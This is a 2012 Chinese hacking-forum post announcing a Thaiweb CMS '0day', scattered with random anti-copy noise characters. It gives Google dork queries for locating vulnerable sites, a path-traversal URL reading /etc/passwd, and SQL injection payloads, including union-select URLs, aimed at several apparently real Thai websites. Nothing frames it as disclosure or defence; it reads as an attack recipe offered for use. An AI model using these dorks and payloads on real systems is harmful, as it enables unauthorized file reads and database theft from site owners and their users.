找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:4 [  }. i! h$ u( l

7 t) y- }+ Z9 a: b/ j+ G7 _intext:powered by Thaiweb
( S7 h& Y9 @  f* X" ~* s% n2 C
; v; t- ]/ A2 }6 m  r( o) E2 ginurl:index.php?page=board.php5 X# h2 y1 T! M0 h( @& U2 P
* n$ a% s0 F# X. i5 q9 G# Z$ a) B
9 ~8 {' Y/ r- H' f- p) F" b- `
& U% T% \2 l& u7 `# f
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
' S5 \" u9 G$ Y2 }' J8 _* F5 E1 Z/ G  A- R' ^; U$ O
/ P  {( ~& R5 S8 c$ F' w
% t: Q! L, m6 B, o0 x  t
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
& J+ e+ g- m  i8 G7 i
  U$ v( I; C2 t+ g 9 X& M2 m" W( Q

% G) `! F7 O* {: E$ T& F3 Ghttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--& V) ~+ \! \, V1 m$ y) z' H- F

# ?) M* m  Q" X  f- V4 Z, L9 ghttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
" L/ ?6 b* I) v7 y 1 ~( e% I8 W) o: D( g' K, F
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--  v- n# Q3 M% F* b1 A# u- o& |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表